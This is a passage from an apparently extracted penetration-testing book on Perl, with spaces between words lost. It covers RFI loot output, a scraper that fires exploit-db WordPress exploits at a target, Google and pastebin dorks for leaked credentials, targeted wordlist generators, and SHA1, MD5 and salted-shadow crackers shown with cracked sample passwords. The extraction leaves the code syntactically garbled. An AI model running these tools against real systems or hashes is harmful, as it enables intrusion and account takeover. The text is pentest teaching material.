TXpackets:4660errors:0dropped:0overruns:0carrier:0
collisions:0txqueuelen:0
RXbytes:1191441(1.1MiB)TXbytes:1191441(1.1MiB)
Tryingcommand:iwconfig
![Page 231: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/231.jpg)
Tryingcommand:route
KernelIProutingtable
DestinationGatewayGenmaskFlagsMetricRefUse
Iface
defaultTG862.local0.0.0.0UG000
eth0
10.0.0.0*255.255.255.0U000
eth0
Tryingcommand:iptables
Tryingcommand:uname%20-a
Linuxwnld9603.7.10blue-ghost1.9#4SMPMonMar1820:52:56EDT2013i686
GNU/Linux
root@wnld960:~#
ThiscertainlywasagreatloottoacquireusingasimpleRFIexploitandPerl!
![Page 232: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/232.jpg)
ContentmanagementsystemsAcontentmanagementsystem(CMS),isawebapplicationthatcanbeusedtomanageusercontentforaweblog,website,orforum.Itmanagesallkindsofdataincludingtext,images,soundfiles,videosandmore.Forinstance,thewell-knownWordPressCMScanbeusedtomanagecontentforaweblog.WordPresshandlesinputtextcontentforweblogposts,automatictimestampsforpostsandcomments,commentsbyusers,andevenmultimediacontentfortheentiresite.
FindingandexploitingcontentmanagementsystemsiscertainlyataskthatwecanautomateusingPerlprogramming.Inthissection,wewillsimplycoverhowtoconstructthevulnerabilityanalysistoolforasimpleWordPressCMS-drivenweblog.FindingtheWordPress-drivensiteonourtarget’snetworkisassimpleasusingourbruteforcetechniqueforfilenamesfromChapter7,SQLInjectionwithPerl,whenwesearchedforanindexpagefromadiscoveredwebserver.ThiscanbedoneforWordPressbysimplycreatinganarrayofdefaultfiles,suchasthereadme.htmlorlicense.txtfiles.SincewehavealreadydonethisinPerlcodeexamplesinpreviouschapters,let’sjustjumprightinandwriteatoolthatfindspotentialvulnerabilities.Wewillutilizetheonlineresourcehttp://exploit-db.orgtogatherallpossibleexploitsforWordPressandthensimplycallthemappendedtoourvictimURL:
1. Wewillbeginbycreatingalargedatabaseoflinksfromexploit-db.orgwithPerl:
for(my$i=1;$i<=5;$i++){#5pagesisenough
my$url=“http://www.exploit-db.com/search/?
action=search&filter_page=”.$i.”&filter_description=wordpress”;
my$req=$ua->get($url);
my@lines=split(“\015?\012”,$req->content());
foreachmy$line(@lines){
if($line=~m/\/exploits\/[0-9]+/){
push(@expUrls,$1)if($line=~m/.*href=”([^”]+).*/);
}
}
}
We’lldothisafterwehavesetupasimpleLWP::UserAgentPerlscriptaswehavedonemanytimesbefore.
2. Thenforeachoneoftheselinksthatwerepushedinto@expUrls,wewillcallitagainwithanewHTTPrequestandsavetheoutputintoanotherarray,@fullUrls:foreachmy$url(@expUrls){
my$req=$ua->get($url);
my@lines=split(“\015?\012”,$req->content());
foreachmy$line(@lines){
if($line=~m/id=“container”/i){
$read=1;#turniton
next;
}
if($read==1&&$line=~m/<\/div>/i||$line=~m/<form/i){
$read=0;#wehavereachedtheendofthediv
![Page 233: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/233.jpg)
last;
}
if($read==1&&$line=~m/\/wp-[ca][od][mn]/i&&$line!~m/exploit-
db/i){
(my$exploit=$line)=~s/.*\/(wp-.*)/$1/;
$exploit=~s/ //g;
$exploit=~s/"/’/g;
$exploit=~s/&/&/g;
$exploit=~s/>/>/g;
$exploit=~s/</</g;
push(@fullUrls,$target.$exploit);
$read=0;#turnitoff
last;
}
}
}
3. Then,wewillstarttheHTTPrequestsforeachlistinginthe@fullUrlsarray:foreach(@fullUrls){
print“Trying:“,$_,”\n”;
my$req=$ua->get($_);
if($req->is_success){#checkforapossibleHTTP200
print“PossibleWordpressexploitontarget!\n\t”,$_,”\n”;
}
}
Thisisalmostbeginnerstuff.Wealreadycoveredmostofthis,butwewilladdacalltotheis_success()methodofthe$reqobject.ThisensuresasimpleandpositiveHTTP200,whichwecanaddtoourpenetrationtestingreportforourclient.A(trimmed)outputforoursimplescrapingtoolwhenrunagainstaWordPress-drivensiteissomethingasfollows:
root@wnld960:~#perlwordpress_exploitdb.plhttp://site.com/main/
Gatheringupdatedexploitlist,pleasewait…
Trying:http://site.com/main/wp-admin/admin-ajax.php?
action=go_view_object&viewid=1[and1=2]&type=html
PossibleWordpressexploitontarget!
http://site.com/main/wp-admin/admin-ajax.php?
action=go_view_object&viewid=1[and1=2]&type=html
Trying:http://site.com/main/wp-content/themes/<wp-
theme>/path/to/timthumb.php?webshot=1&src=http://
Trying:http://site.com/main/wp-admin/admin-ajax.phpHTTP/1.1
Trying:http://site.com/main/wp-
content/uploads/feuGT_uploads/feuGT_1790_43000000_948109840.php
Trying:http://site.com/main/wp-content/themes/persuasion/lib/scripts/dl-
skin.php
…
root@wnld960:~#
ThisisasimpleexampleofhowwecanutilizePerltoautomatethesimplestoftasksforscrapingsitesforpotentialvulnerabilitiesandapplyingthosetoourhostscontentmanagementsystem.
![Page 234: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/234.jpg)
SummaryWithalittlebitofrigor,asparkofcuriosity,anddeterminationwhilefollowingalonginthissection,wehavecertainlygraspedthepowerofPerl’sbeautifulabilitytomatchpatternsusingregularexpressionsandappliedittoopensourceintelligencegatheringandvulnerabilityanalysis.Onceagain,thebestpenetrationtesteristheonewhocanutilizeimaginationwithagoodunderstandingofhowtheunderlyingtechnologiesworktofindeventhesmallestholetoexploit.Informationgatheringcanreallyprovehelpfulinfindingoutvulnerabilities.
Inthenextchapter,wewillusePerltocrackpasswordsandhashesobtainedthroughoutthejourneyofthisbookanditsexamples.
![Page 235: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/235.jpg)
Chapter9.PasswordCrackingPerlisn’tthenormalgo-tolanguageforpasswordcrackingsinceitisslowerthanCorotherlower-levelcompiledlanguageswhenusingcomplexpasswordhashingalgorithms.However,passwordcrackingcanbedoneandwewillexploremethodsofhowtodoso,andevenafewmethodsofoptimization.Inthischapter,wewilllookatwaysinwhichwecanusePerltocrackpasswordhashesobtainedfrompenetrationtesting,includingSHA1,saltedSHA1,MD5,saltedMD5,andafewothers.Afterthis,wewillanalyzehowwecancrackourWPA2CCMPhandshakethatweobtainedinChapter5,IEEE802.11WirelessProtocolandPerl.Bothtypesofpasswordcrackingwilluseasimplebruteforceofflinedictionaryattackmethod,sowestartthechapteroffbyintroducingourselvestoDigitalCredentialAnalysis,whichwillhelpustoconstructtargeteddictionaryfiles.
![Page 236: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/236.jpg)
DigitalcredentialanalysisUsingdictionaryfilesforourpasswordcrackingissomethingthathasn’tchangedmuchovertheyearsofcomputing.Mosthashingalgorithmstrulyareonewayandwedonotknowofaflawthatwecanusetoexploitorspeedupthepasswordcrackingprocess.Sometimes,wefindflawsintheprotocolinwhichtheprotocolhandlestheauthenticationprocessthatallowsustobypassabruteforceattack.Inthischapter,wewillfocusonofflinebruteforcedictionaryattacksonourpasswordhashes.
Aswehaveseenthroughoutthisbook,OSINTprovidesuswithagreatwealthofinformationaboutourclienttarget.Digitalcredentialanalysis(DCA)isasubcategoryofdataminingthatprovidesastandardtoseehowwecanutilizethisdataintocreatingandoptimizingtargeteddictionaryfilesforourofflinebruteforcepasswordattacks.
Onewaywecanoptimizeourdictionaryfilesistocheckonlineresourcesforleakeddigitalcredentialsfromotherdatabreaches.Leakedcredentialsfromotherdatabreachesdonothavetobefromourtarget’sdatabases.Infact,wecanoftencross-examineleakswithourownOSINT-gatheredinformationorpenetrationtest,touseonthesedatabreachestofindone-to-manydigitalcredentialreuse.Thismeansthatsomeofourtarget’sclientsoremployeeshavereusedthesameusernameorpasswordformultiplesites.However,ratherthanjustdumpingtheentireleakintoourdictionaryfile,wecanalsotakeintoconsiderationthatourtarget’semployeesmayhaveusedschemedpersonalizedcredentialdataforcredentialreuse,whichmeansthattheyusethesameusernameforsiteAastheydoforsiteB,butchangingasmallportionoftheusername.Forinstance,theusernameBobSiteA1979foundfromapreviousdigitalcredentialleakcouldbereusedasBobSiteB1979forourtarget’ssiteB.Andnowthatweknowhowtoempowerourprogramswithregularexpressions,thisshouldbeparticularlyeasyforustoimplement.
WecanutilizetheGooglesearchenginejustthesamewayaswedidinChapter6,OpenSourceIntelligence,tosearchforauniqueusernamestring,suchasBobSiteA1999,whichmayprovideuswithinformationtouseforourcrossexaminationinDCA.#!/usr/bin/perl-w
usestrict;
useLWP::UserAgent;
useLWP::Protocol::https;
$|=1;#turnoffbuffering
my$ua=LWP::UserAgent->new;
$ua->agent(“Mozilla/5.0(Windows;U;WindowsNT6.1en-US;rv:1.9.2.18)
Gecko/20110614Firefox/3.6.18”);
$ua->from(‘[email protected]’);
$ua->timeout(10);#setupatimeout
foreachmy$user(`catusers.txt`){
chomp$user;#removenewline
print“\nSearchingusername:“,$user,”\n”;
my$url=‘https://www.google.com/search?safe=off&noj=1&sclient=psy-
ab&q=”’.$user.’”&oq=”’.$user.’”’;
sleep1;#noB&
my$res=$ua->get($url);
my$i=0;
if($res->is_success){
![Page 237: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/237.jpg)
foreachmy$string(split(/url\?q=/,$res->as_string)){
nextif($string=~m/(webcache.googleusercontent)/iornot$string=~
m/^http/);
$string=~s/&sa=U.*//;
print$string,”\n”if($string!~m/<.+>/);
}
}
}
TheprecedingPerlprogramusesasimpleusernamelisttoreturnpossiblelinkstothesamepersonusingdigitalcredentialreuse.Wesimplyslurpinthedata,usingtheLinuxprogramcat,fromtheusernameswefoundduringourpenetrationtestandforeachone,wewilldoasimpleGooglequery.Thiscanreturnleakedcredentialsaswell;forinstance,ifwechangetheGooglequerytoincludethedorksite:pastebin.comasfollows:my$url=‘https://www.google.com/search?safe=off&noj=1&sclient=psy-
ab&q=site:pastebin.com+”’.$user.’”&oq=”’.$user.’”’;
Thiscansometimesreturnresultswheremalicioushackershaveleakeddigitalcredentialdatatohttp://pastebin.com/.
Whenactuallyanalyzingourleakedlists,weareobviouslyanalyzingpatterns.PatternedDigitalCredentialAnalysisalsoprovidesuswithinsightonnotonlyhowthegeneralpopulationoftheInternetfeelsaboutpasswords,buthowtheychoosetocreatethemaswell.Forinstance,itisquitecommonforausertoappenddigitstotheendofaplaindictionarywordforapassword,suchassunshine08,inwhichthe08waspossiblyusedbecausetheyearofcreationwas2008.Anothercommonpatternistwodictionarywordsseparatedbydigits,suchasRock42Band,oronline2014games.
Aswehavelearned,Perlisincrediblypowerfulwhenitcomestostrings.Let’sseehowwecanconstructawordlistusingthesepatternsusingPerl.Thefirstexampleisrathereasy,sinceallwedoisappenddigitstoeverystringinourfile.#!/usr/bin/perl-w
usestrict;
open(FLE,“words.txt”)ordie“pleaseacreate"words.txt"dictionary
file.”;
while(<FLE>){
chomp$_;
for(my$i=0;$i<=150;$i++){
print$_,$i,”\n”if($i<10);
printf(“%s%02d\n”,$_,$i);
}
}
END{
closeFLE;
}
TheprecedingPerlsnippetwillgenerateawordlistthathasappendeddigitsfrom00to150.Goinghigherthan150for$idependsonhowmuchdiskspacewecanuse,andofcourse,ourpreviouslydrawnDCA.
1. First,wewillreadinthewords.txtfile,whichcontainskeywordsfromourprevious
OSINTgatheringduringourpenetrationtest.
![Page 238: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/238.jpg)
2. Then,wesimplyuseprintf()todisplaytheline(chomped)withappendeddigits.
Now,let’slookathowwecangeneratewordlistsoftwoconcatenatedwordsdelimitedbydigitsinthefollowingcode:#!/usr/bin/perl-w
usestrict;
#slurpfileforspeed
my@words=`catsmallwords.txt`;
foreachmy$word1(@words){
chomp$word1;
foreachmy$word2(@words){
foreachmy$int(0..9){
chomp$word2;
print$word1,$int,$word2,”\n”;
printf(“%s%02d%s\n”,$word1,$int,$word2);
}
}
}
TheprecedingsimplePerlprogramworksinthefollowingmanner:
1. First,itslurpsthecontentsofthesmallwords.txtfileintothe@wordsarraycreating
$word1.2. Then,eachwordloopsover@wordsasecondtimecreating$word2.3. Afterthis,wewillsimplyloopoverasmalllistofintegers0through9,concatenating
thetwowordswiththeintegerasadelimiter.
Somesampleoutputfromthisprogramisasfollows:my7secret
my07secret
my8secret
my08secret
my9secret
my09secret
secret0pass
secret00pass
secret1pass
secret01pass
secret2pass
secret02pass
secret3pass
secret03pass
The(trimmed)outputfromthePerlcommandlistedpreviouslyisexactlywhatwearelookingfor.Onethingtonotehereishowlargethislistwillgrowinsize.Forinstance,asmallwordlistofonly100entrieswillbecome200,000lineslong!Thiscanbegeneralizedinthefollowingpolynomialequation:
The variableinprecedingtheequationistheamountoflinesinourtextfile,
![Page 239: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/239.jpg)
smallwords.txt.Thereasonfor istoshowthatweiteratefrom0-9once,butprinttheoutputtwice,onceusingprint()andagainusingprintf().Aswecansee,starting
withjust2wordsfor yields80results.Usingonlytwowordsmightbeabitlimited,butisnotimpossibleifDCAisdonethoroughly.Justforcontrast,ifwehavea
smallwords.txttextfileof10,000possiblepasswords, wouldyield2billionresults!
ThisisonlythetipofamassiveiceberginwhichDCAcanbeapplied.LikeSQLinjection,masteringDCArequiresalotofpractice.NowthatwehavecoveredhowtoapplyOSINTtoDCAtogeneratetargetedwordlists,let’smoveontocrackingpasswordsusingtheselists.
![Page 240: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/240.jpg)
CrackingSHA1andMD5Inthenextfewsubsections,wewilllookathowwecanusePerltocrackthecommonlyusedSHA1andlesslikelyusedMD5passwordhashes.ThisisasimpletaskinPerlbut,aspreviouslymentioned,requiresalotofCPUpowertoaccomplishandisveryslow.Wewillsimplyperformthehashingprocessoneachlinefromapasswordlistfileandcompareitsoutputtothecompromisedpasswordhashvalue.
![Page 241: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/241.jpg)
SHA1crackingwithPerlInthissection,wewillusetheSHA1Perlmodule,Digest::SHA,tocreatethepasswordhashesforcomparison.WewillalsotrytocracktheSHA1hashesthatweobtainedinChapter7,SQLInjectionwithPerl.Ifwerecallthosehashesandusernames,wehavethefollowingcommands:
Table:usershasrecordcountof:6
1trevelyncbfdac6008f9cab4083784cbd1874f76618d2a97
2gabriellaa3ce284b3e5d63708dde3d7d9138f835a6760a57
3chloea2c91ed5cf3ec12fe5e4904d34667310ca8182af
4julie59c826fc854197cbd4d1083bce8fc00d0761e8b3
5peteybf614e25ec8503d7c938bb0ea0609b74fd93d517
6piratec4dfbad41aca3de7da79bdfd508449ee05d3de8f
WewillputtheseintoafiletobereadbyourSHA1crackingPerlprogram.Eachlinewillbeintheusername:hashformat:
trevelyn:cbfdac6008f9cab4083784cbd1874f76618d2a97
gabriella:a3ce284b3e5d63708dde3d7d9138f835a6760a57
chloe:a2c91ed5cf3ec12fe5e4904d34667310ca8182af
julie:59c826fc854197cbd4d1083bce8fc00d0761e8b3
petey:bf614e25ec8503d7c938bb0ea0609b74fd93d517
pirate:c4dfbad41aca3de7da79bdfd508449ee05d3de8f
Thedictionaryfileissimplyaline-by-linefileofstringswemadeusingtheprinciplesfromtheprevioussectiononDCA.Now,let’sexaminethePerlcodewewilluse:#!/usr/bin/perl-w
usestrict;
useDigest::SHAqw(sha1_hex);
subpasswd($$);#prototype
open(HSH,“hashes.txt”);
while(<HSH>){
chomp$_;
$_=~s/\s+//g;#removeallwhitespace
my($hash,$user)=””;
if(m/(.+):(.+)/){
$user=$1;
$hash=$2;
}
my$passwd=passwd($hash,$user);
print$passwdif($passwd!~m/otfoun/);
}
subpasswd($$){
my$hash=shift;
my$user=shift;
open(WRD,“words.txt”);
while(<WRD>){
chomp$_;
if(sha1_hex($_)eq$hash){
closeWRD;
return“Password:“.$_.”=“.$hash.”fromUser:“.$user.”\n”;
}
![Page 242: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/242.jpg)
}
closeWRD;
return“notfound.”;
}
TheprecedingcoderepresentsasimpleSHA1bruteforcemethodofcrackingpasswordsfromtheirSHA1hashes.WewillintroducetheDigest::SHAPerlmoduleandusethesha1_hex()function.Thismodule’sdocumentationstatesthatitiscodedin“Cforspeed.”onaPentiumCore2Duo3.0GHzprocessormachineinthelab;weareablecrack4ofthe6hashesinapproximately13seconds.
root@wnld960:~#timeperlsha1_crack.pl
Password:password123=cbfdac6008f9cab4083784cbd1874f76618d2a97fromUser:
trevelyn
Password:pillowpet=a2c91ed5cf3ec12fe5e4904d34667310ca8182affromUser:
chloe
Password:orangecheeks=bf614e25ec8503d7c938bb0ea0609b74fd93d517from
User:petey
Password:pegleg=c4dfbad41aca3de7da79bdfd508449ee05d3de8ffromUser:
pirate
real0m12.972s
user0m12.964s
sys0m0.008s
root@wnld960:~#
Let’stakealookathowwecanoptimizeourprogramtousethreadstocrackpasswordsfaster.Threadsallowustodomultipletaskssimultaneously,dependingonthenumberofprocessorswehaveatourdisposal.SincethisisaCore2Duoprocessorinourlab,wehavetwocores.Technically,thisshouldcutourprocessingtimebyhalf.Let’snowgooverthesamecodeastheprecedingone,optimizedforthreading.
ParallelprocessinginPerlInthissection,wewilllearnhowtothreadthepasswordhashingprocessusingtheinterpreter-basedthreadsPerlmodule.“Interpreter-based”referstothefactthateachthreadiscalledwithitsownPerlinterpreter.
TipPerldoesn’tnormallycomewiththreadingcompiledinitbymanypackagemanagersforLINUX.TocheckwhetherPerlisthreadcompatible,wecanissuethefollowingcommand:
perl-V
Andcheckwhethertheconfig_argslists-DusethreadsandthattheuseithreadsvalueisequaltodefinejustundertheParameterssectionoftheoutput.Ifit’snot,Perlmayneedtoberebuilt.Todoso,simplydownloadthelatestversionofPerlandextractittoadirectory.Thenrunthefollowingcommand:
–makedistclean&&./Configure-Dusethreads
![Page 243: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/243.jpg)
ThiswillthencompilePerlwiththreadingavailable.Makesure,youruntheConfigurefilenamedwithacapitalC.Oneofthequestionsthattheconfiguratorasksusisasfollows:
BuildathreadingPerl?[y]
OncewefinishansweringtheConfigurefile’squestions,wewilljusttypetoinstallournewPerl.OnethingtonoteisthatwheninstallingasecondversionofPerl,theremightbesomeconflictingCPANmoduleswiththenewestversion.ItmaybebesttoreinstallthemusingcpanminusorcpaninthesamemanneraswelearnedinChapter1,PerlProgramming.
Let’swriteourfirstthreadedapplicationusingthethreadsPerlmoduleandanalyzethesourcecode:#!/usr/bin/perl-w
usestrict;
usethreads;#needscompiledintoPerl!
useDigest::SHAqw(sha1_hex);
my$usage=“Usage:./sha1.pl#required:words.txt,hashes.txt”;
subpasswd($$);#prototype
my@threads;#storeallthreads
open(HSH,“hashes.txt”);
while(<HSH>){
my($user,$sha1)=””;
if(m/([^:]+):([^:]+)/){
chomp($user=$1);
chomp($sha1=$2);
}#createthread:
my$thread=threads->new(
sub{passwd($user,$sha1)}
);#savethreadreference:
push(@threads,$thread);
}
subpasswd($$){#thebruteforce:
my$user=shift;
my$hash=shift;
open(WRD,“words.txt”);
while(<WRD>){
chomp($_);
if(sha1_hex($_)eq$hash){
print“Passwordfound:“,$user,”:“,$_,”\n”;
closeWRD;
return;
}
}
closeWRD;
return;#passwdnotfound
}
END{#let’susethistocleanupthreads:
while(scalar@threads>0){#nowwewaitforeachone
my$thr=shift@threads;
$thr->join()if($thr->is_running);
}
}
![Page 244: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/244.jpg)
Theprecedingcodeisalmostidenticaltoourpreviousexample.However,foreachhashline,wethreadthecalltothepasswd()function.Wewillalsopushareferencetothethreadintoanarray,@threads.Thisallowsustolookthrougheachthreadandrunthejoin()methodforeachonethatisstillrunninginourEND{}block.Thejoin()methodwaitsforthethreadtocomplete(subroutinetoreturninourcase)andperformsnecessaryactionstocleanuptheOSaccordingtothePerlDochttp://perldoc.perl.org/threads.htmldocumentation.Whenwecallthepasswd()function,wewillpassthehashandusernamesothatitcangooffintoanewthreadwithoutneedingtoreturnanythingbacktothemainPerlprocess.Let’snowtakealookatwhattheLinuxtimecommandreturnsforthisversionoftheSHA1crackingprograminjust6.5seconds:
root@wnld960:~#timeperlsha1_crack_thread.pl
Passwordfound:trevelyn:password123
Passwordfound:pirate:pegleg
Passwordfound:chloe:pillowpet
Passwordfound:petey:orangecheeks
Perlexitedwithactivethreads:
0runningandunjoined
2finishedandunjoined
0runninganddetached
real0m6.566s
user0m13.072s
sys0m0.012s
root@wnld960:~#
Thiswonderfullittleimprovementtoourpasswordcrackercutsourprocessingtimebyhalf,asitoffloadshalvestoeachcoresimultaneously.Now,let’smoveontoMD5crackingusingPerlprogramming.
![Page 245: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/245.jpg)
MD5crackingwithPerlMD5crackingrequireslessCPUusagethanSHA1butwecanusethesamemethod.Infact,wecancopytheSHA1crackingPerlfileandsimplyuseadifferentPerlmodule,Digest::MD5.WesimplychangethelineforusingtheDigest::SHA1moduletobe:useDigest::MD5qw(md5_hex);
Then,we’llsimplychangethecallfromsha1_hex()tomd5_hex().Fortheexample,wehavetochangeourhashes.txtfiletobeMD5hashesinsteadofSHA1.WecancomputetheseusingaPerlone-linerwithBashscriptingasfollows:forpasswdinpassword123pillowpetpeglegorangecheeks;doperl-e‘use
Digest::MD5qw(md5_hex);my@passwds=shift;foreach(@passwds){print
md5_hex($_),”\n”;}’$passwd;done;
ThistellsBashtoloopoverthewordsprovided,andforeachword,Perlwillprintthemd5hexadecimalhash.WhenwerunthisviatheLinuxtimeprogram,wewillgettheresultsinjustover1second:
root@wnld960:~#timeperlmd5_crack_thread.pl
Passwordfound:trevelyn:password123
Passwordfound:chloe:pillowpet
Passwordfound:pirate:pegleg
Passwordfound:petey:orangecheeks
Perlexitedwithactivethreads:
0runningandunjoined
2finishedandunjoined
0runninganddetached
real0m1.033s
user0m2.032s
sys0m0.008s
root@wnld960:~#
Themd5hashisobviouslymuchfastertocomputethanSHA1andisalsostilloftenusedbywebprogrammersforstoringpasswords.NowthatwehavelookedathowtocrackpasswordsusingPerl,let’sseehowwecanutilizePerlandLWP::UserAgenttocheckpasswordsfromonlinesources.
![Page 246: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/246.jpg)
UsingonlineresourcesforpasswordcrackingWhenwefailatcrackingpasswordsusingDCA-poweredwordlistsandPerlalone,wecanoftenturntoonlineresourcestocheckdatabasesofhashedpasswordrainbowtablesforourhash.Manyonlineresourcesexists,butforourexamplewewillbeusingmd5crack.com.ThissiteallowsHTTPrequestsusingafreeAPIkey.AfterregisteringandobtainingtheAPIkey,wewillsimplyneedtoreplace$apiKeytotheonegivenbythesite.TheURLfortheAPIcallmustbeinthefollowingformat:
http://api.md5crack.com/$type/$apiKey/$md5Hash
Here,$typecanbeeitherhashorcrackforeitherfunction.WewillhardcodecrackintoourapplicationfortheURL.ThereturnedresponsewillbeinJSON,orJavaScriptObjectNotationandwewillparsedatafromitusingtheMojo::UserAgentPerlmodule.ThefollowingisthecodetotrytorecoverpasswordsfromtheirMD5hashesusingPerlandthemd5crack.comonlineresource:#!/usr/bin/perl-w
usestrict;
useMojo::UserAgent;
usethreads;
submd5Online($$);
my@threads;#storethreads
#databaseprovidedbymd5crack.com
my$ua=Mojo::UserAgent->new;
my$apiKey=“0000apikey0000”;
my$url=“http://api.md5crack.com/crack/”.$apiKey;
open(HSH,“hashes_md5.txt”);
my$i=0;
while(<HSH>){
if(m/([^:]+):(.+)/){
my$thread=threads->new(
sub{md5Online($1,$2)}
);#savethreadreference:
push(@threads,$thread);
}
$i++;
}
submd5Online($$){
my$fUrl=$url.”/”.$_[1];
my$json=$ua->get($fUrl)->res->json;
if($json->{‘parsed’}){
print“Passwordfor“,$_[0],”cracked:“,$json->{‘parsed’},”\n”;
return;
}
return;
}
END{
#closethreads
while(scalar@threads>0){#nowwewaitforeachone
my$thr=shift@threads;
$thr->join()if($thr->is_running);
![Page 247: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/247.jpg)
}
}
TheprecedingcodeusesanewPerlmodule,Mojo::UserAgent,whichmakesJSONparsingeasy.WehavealsousedthreadsthatsendtheHTTPrequestssimultaneously.TousetheMojo::UserAgentPerlmoduletoproduceJSON,wewillfirstcreateanewobject$ua,justaswedowithLWP::UserAgent.Next,wewillcalltheget()methodofthe$uaobjectandthenmaketwomoreinlinecallstothemethodsres()andjson(),asfollows:my$json=$ua->get($url)->res->json;
Now,wecansimplycheckthevaluesoftheJSONreturned,accessingitintheformofaPerlhash.
![Page 248: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/248.jpg)
SaltedhashesPasswordsareoftenhashedusingasaltduringtheencryptionprocess.Thesaltisoftenjustanarbitrarystringthatisprependedorappendedtothecleartextpasswordbeforepassingittothehashingalgorithm.Thesalt’ssolepurposeistomaketheprocessofbruteforcepasswordcrackingmuchharderastheattackerneedstoguessnotonlythepasswordusedbutalsothesaltstring.Ifweareluckyenoughtogetunauthorizedaccesstoaclienttarget’sdatabase,whichhostsnotonlypasswordhashesbutthesaltstrings,orstring,wecanusethisinformationwhencrackingthepasswordhashestomaketheprocessalotfaster.
LinuxpasswordsSincethesaltmustbeknown,itisoftenstoredalongwiththehashorwithinthesamedatabase,orLDAPrecord.Forinstance,inmostLinuxsystems,thereisafilein/etccalledshadow,whichcontainsthestoredpasswordhashesandsalts.Thisfilehaslinesasfollows:victim:$6$CZ3qawg9$/Ld4eIe3xApQQ52/Fj82WloP0mKCl3OtSQ8eRM0UioggFf5Dkq0k5jNlxz6ypkOIBlc52Ggc5pL9POnMwJR.h0:16275:0:99999:7:::
Thefirstfoursectionsaredelimitedbythedollarsymbol,$,andrepresenttheusername,hashalgorithm(6isforSHA-512),thesalt,andtheSHA-512hashthatwascreatedusingthesaltrespectively.TocracksaltedpasswordsfromaLinux/etc/shadowfile,wewillusethePerlcrypt()function.Thisfunctionallowsustospecifythehashingalgorithminthefollowingsyntax:crypt(“<password>”,”\$1\$<salt>\$”)
Inthisexample,wespecified1,orsimpleMD5,asthehashingalgorithmjustbeforethesalt.It’seasytoimagineinourcaseofSHA512;wecansimplythreadcallstoasubroutinethatloopsthroughallwordsinourdictionaryfileandcallscrypt()asfollows:crypt($_,”\$6\$”.$salt)
Thisisexactlyhowwewillcallcrypt()inourPerlcode:#!/usr/bin/perl-w
usestrict;
useDigest::SHAqw(sha512_hex);
usethreads;
subpasswd($$$);
